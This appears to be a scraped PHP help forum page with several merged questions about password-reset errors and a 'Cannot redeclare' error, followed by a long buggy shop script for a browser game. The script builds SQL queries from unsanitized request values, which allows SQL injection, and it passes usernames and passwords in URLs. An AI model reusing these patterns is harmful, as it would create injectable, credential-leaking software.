../reset-password.php?reset=success'); } else { header('Location: ../index.php'); } I always get this errors:
Warning: mysqli_stmt_bind_param(): Number of variables doesn't match number of parameters in prepared statement in C:\xampp\htdocs\php_login_system-master\includes\reset-password.inc.php on line 26
But i dont find the mistake in the Code. Can someone help me please Forgot Your Password Not working at the customer end, how to solve this error? Reset Password Email not sending to the customer mail account. Edited June 13, 2019 by aveevaI'm not seeing what is causing this: (Fatal error: Cannot redeclare shopdisplay() (previously declared in /home/katarra/public_html/shops.php:11)in /home/katarra/public_html/shops.php on line 21) error... Any help would be appreciated! (This probably isn't the only error, but it's the one that's stopping me from finding the others) Thanks! <?php error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE); require_once('dk_lib.php'); require_once('scripts/dbfunc.s'); include ("debug.php"); include("lib.php"); $player = check_user($secret_key, $db); function shopdisplay($content, $title) { // Finalize page and output to browser. $template = gettemplate("shops"); $finalarray = array( "title"=>$title, "content"=>$content); $page = parsetemplate($template, $finalarray); echo $page; die(); } if (isset($_GET["do"])) { $do = explode(":",$_GET["do"]); if ($do[0] == "buy") { include('shops.php'); buy(); } elseif ($do[0] == "buy2") { include('shops.php'); buy2($do[1]); } elseif ($do[0] == "buy3") { include('shops.php'); buy3($do[1]); } elseif ($do[0] == "sell") { include('shops.php'); sell(); } } else { donothing(); } function donothing() { $page = "Welcome to my shop. What do you want?"; shopdisplay($page, "Shop Home"); } function buy() { // Displays a list of available items for purchase. global $numqueries; $query1 = doquery("SELECT * FROM levels", "levels") or trigger_error("Query failed: ". mysql_error()); $location = mysql_fetch_array($query1); $townquery = doquery("SELECT name,itemslist FROM shop WHERE location=$location", "shop") or trigger_error("Query failed: ". mysql_error()); if (mysql_num_rows($townquery) != 1) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $townrow = mysql_fetch_array($townquery); $itemslist = explode(",",$townrow["itemslist"]); $querystring = ""; foreach($itemslist as $a=>$b) { $querystring .= "id='$b' OR "; } $querystring = rtrim($querystring, " OR "); $itemsquery = doquery("SELECT * FROM items WHERE $querystring ORDER BY id", "items"); $page = "Buying weapons will increase your Attack Power. Buying armor and shields will increase your Defense Power.<br /><br />Click an item name to purchase it.<br /><br />The following items are available at this shop:<br /><br />\n"; $page .= "<table width=\"80%\">\n"; while ($itemsrow = mysql_fetch_array($itemsquery)) { if ($itemsrow["type"] == 'weapon') { $attr = "Attack Power:"; } else { $attr = "Defense Power:"; } $page .= "<tr><td width=\"4%\">"; /* if ($userrow["weaponid"] == $itemsrow["id"] || $userrow["armorid"] == $itemsrow["id"] || $userrow["shieldid"] == $itemsrow["id"]) { $page .= "<td width=\"32%\"><span class=\"light\">".$itemsrow["name"]."</span></td><td width=\"32%\"><span class=\"light\">$attrib ".$itemsrow["attribute"]."</span></td><td width=\"32%\"><span class=\"light\">Already purchased</span></td></tr>\n"; } else } */ $page .= "<td width=\"32%\"><b><a href=\"shops.php?do=buy2:".$itemsrow["id"]."\">".$itemsrow["name"]."</a>$</b></td><td width=\"32%\">$attr <b>".$itemsrow["attr"]."</b></td><td width=\"32%\">Price: <b>".$itemsrow["price"]." gold</b></td></tr>\n"; } $page .= "</table><br />\n"; $title = "Buy Items"; shopdisplay($page, $title); } function buy2($id) { // Confirm user's intent to purchase item. global $userrow, $numqueries; $query1 = doquery("SELECT * FROM levels", "levels"); $location = mysql_fetch_array($query1); $townquery = doquery("SELECT name,itemslist FROM shop WHERE location=$location", "shop") or trigger_error("Query failed: ". mysql_error()); if (mysql_num_rows($townquery) != 1) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $townrow = mysql_fetch_array($townquery); $townitems = explode(",",$townrow["itemslist"]); if (! in_array($id, $townitems)) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $itemsquery = doquery("SELECT * FROM items WHERE id='$id'", "items") or trigger_error("Query failed: ". mysql_error()); $itemsrow = mysql_fetch_array($itemsquery); if ($player["gold"] < $itemsrow["price"]) { shopdisplay("You do not have enough gold to buy this item!", "Buy Items"); die(); } if ($itemsrow["type"] == 'weapon') { $page = "You are buying the ".$itemsrow["name"].", is that ok?<br /><br /><form action=\"shops.php?do=buy3:$id\" method=\"post\"><input type=\"submit\" name=\"submit\" value=\"Yes\" /> <input type=\"submit\" name=\"cancel\" value=\"No\" /></form>"; } elseif ($itemsrow["type"] == 'armor') { $page = "You are buying the ".$itemsrow["name"].", is that ok?<br /><br /><form action=\"shops.php?do=buy3:$id\" method=\"post\"><input type=\"submit\" name=\"submit\" value=\"Yes\" /> <input type=\"submit\" name=\"cancel\" value=\"No\" /></form>"; } elseif ($itemsrow["type"] == 'item') { $page = "You are buying the ".$itemsrow["name"].", is that ok?<br /><br /><form action=\"shops.php?do=buy3:$id\" method=\"post\"><input type=\"submit\" name=\"submit\" value=\"Yes\" /> <input type=\"submit\" name=\"cancel\" value=\"No\" /></form>"; } elseif ($itemsrow["type"] == 'pet') { $page = "You are buying the ".$itemsrow["name"].", is that ok?<br /><br /><form action=\"shops.php?do=buy3:$id\" method=\"post\"><input type=\"submit\" name=\"submit\" value=\"Yes\" /> <input type=\"submit\" name=\"cancel\" value=\"No\" /></form>"; } $title = "Buy Items"; shopdisplay($page, $title); } function buy3($id) { // Update user profile with new item & stats. if (isset($_POST["cancel"])) { header("Location: shops.php"); die(); } global $userrow; $query1 = doquery("SELECT * FROM levels", "levels"); $location = mysql_fetch_array($query1); $townquery = doquery("SELECT name,itemslist FROM shop WHERE location=$location", "shop") or trigger_error("Query failed: ". mysql_error()); if (mysql_num_rows($townquery) != 1) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $townrow = mysql_fetch_array($townquery); $townitems = explode(",",$townrow["itemslist"]); if (! in_array($id, $townitems)) { shopdisplay("Cheat attempt detected.<br /><br />Get a life, loser.", "Error"); } $itemsquery = doquery("SELECT * FROM items WHERE id='$id'", "items") or trigger_error("Query failed: ". mysql_error()); $itemsrow = mysql_fetch_array($itemsquery); if ($player["gold"] < $itemsrow["price"]) { shopdisplay("You do not have enough gold to buy this item!", "Buy Items"); die(); } $query = mysql_select("select `id`, `name`, `price`, `type`, `slot` from `items` where `id`=?", array($_GET['id'])) or trigger_error("Query failed: ". mysql_error()); $item = $query->fetchrow(); $q1 = mysql_select("select * from `inventory` where `player`=? and item_id=?", array($player->id,$item['id'])) or trigger_error("Query failed: ". mysql_error()); if($q1->recordcount() == 0) { $insert['player'] = $player->id; $insert['quantity'] = '0'; $insert['status'] = 'unequipped'; $insert['item_id'] = $item['id']; $insert['type'] = $item['type']; $insert['slot'] = $item['slot']; $query2 = $db->autoexecute('inventory', $insert, 'INSERT') or trigger_error("Query failed: ". mysql_error()); } $query1 = mysql_select("update `users` set `gold`=? where `id`=?", array($player->gold - $item['price'], $player->id)) or trigger_error("Query failed: ". mysql_error()); $insert['player'] = $player->id; $insert['item_id'] = $item['id']; $q = mysql_select("select * from `inventory` where `player`='".$insert['player']."' and `item_id`='".$item['id']."'") or trigger_error("Query failed: ". mysql_error()); $row = $q->fetchrow(); $query = mysql_select("update `inventory` set `quantity`=? where `item_id`='".$item['id']."' and `player`='".$insert['player']."'", array($row['quantity'] + 1)) or trigger_error("Query failed: ". mysql_error()); if ($query && $query1) //If successful { $player = check_user($secret_key, $db); //Get new user stats echo "<b>Blacksmith:</b><br />\n"; if ($query2){echo "<strong>You purchased a " . ucwords($item['name']) . "!</strong><br />";} echo "<i>Thank you, enjoy your new <b>" . ucwords($item['name']) . "</b>!</i><br /><br />\n"; $q1 = mysql_select("select * from `inventory` where `item_id`='".$_GET['id']."' and `player`='".$insert['player']."'"); $row1 = $q1->fetchrow(); echo "<i>You now have " . $row1['quantity'] . " <b>" . $item['name'] . "(s)</b>!</i><br /><br />\n"; echo "<a href=\"main.php?username=$x&password=$y&doit=inventory\">Return to inventory</a>"; break; } else { //Error logging here } } function sell($id) { if (!$_GET['id']) //No item ID { echo "That item does not exist in your inventory!"; break; } //Select the item from the database $inventitemid = $_GET['id']; $query = mysql_select("select * from `inventory` where inventory.item_id='".$inventitemid."' and inventory.player=?", array($player->id)); //Either item doesn't exist, or item doesn't belong to user if($query->recordcount() == 0){ echo "Sorry, that item does not exist!"; break;} $query = mysql_select("select * from `items` where items.id=?", array($_GET['id'])); $query12 = $db->execute("SELECT `status`, `quantity` FROM `inventory` where inventory.item_id='".$inventitemid."' and inventory.player=?", array($player->id)); $row = $query12->fetchrow(); if($row['status'] == 'equipped') { echo "Unequip this item before trying to sell it!<br>"; echo "<a href=\"main.php?username=$x&password=$y&doit=inventory\">Return to inventory</a><br>"; exit;} //Either item doesn't exist, or item doesn't belong to user if ($query->recordcount() == 0) { echo "Sorry, that item does not exist!"; break; } $sell = $query->fetchrow(); //Get item info //Check to make sure clicking Sell wasn't an accident if (!$_POST['sure']) { echo "Are you sure you want to sell your <b>" . $sell['name'] . "</b> for <b>" . floor($sell['price']/2) . "</b> gold?<br /><br />\n"; echo "<form method=\"post\" action=\"shops.php?act=sell&id=" . $inventitemid . "\">\n"; echo "<input type=\"submit\" name=\"sure\" value=\"Yes, I am sure!\" />\n"; echo "</form>\n"; break; } if ($row['quantity']== 1) { $query = mysql_select("delete from `inventory` where `item_id`=? and `player`=?", array($inventitemid, $player->id)); } elseif($row['quantity'] > 1) { $query = mysql_select("UPDATE `inventory` SET `quantity`=? WHERE `item_id`=? and `player`=?",array($row['quantity'] - 1, $inventitemid, $player->id)); } $query = mysql_select("update `users` set `gold`=? where `id`=?", array($player->gold + floor($sell['price']/2), $player->id)); $player = check_user($secret_key, $db); //Get updated user info echo "You have sold your <b>" . $sell['name'] . "</b> for <b>" . floor($sell['price']/2) . "</b> gold.<br /><br />\n"; echo "<a href=\"main.php?username=$x&password=$y&doit=inventory\">Return to inventory</a>"; break; } ?> |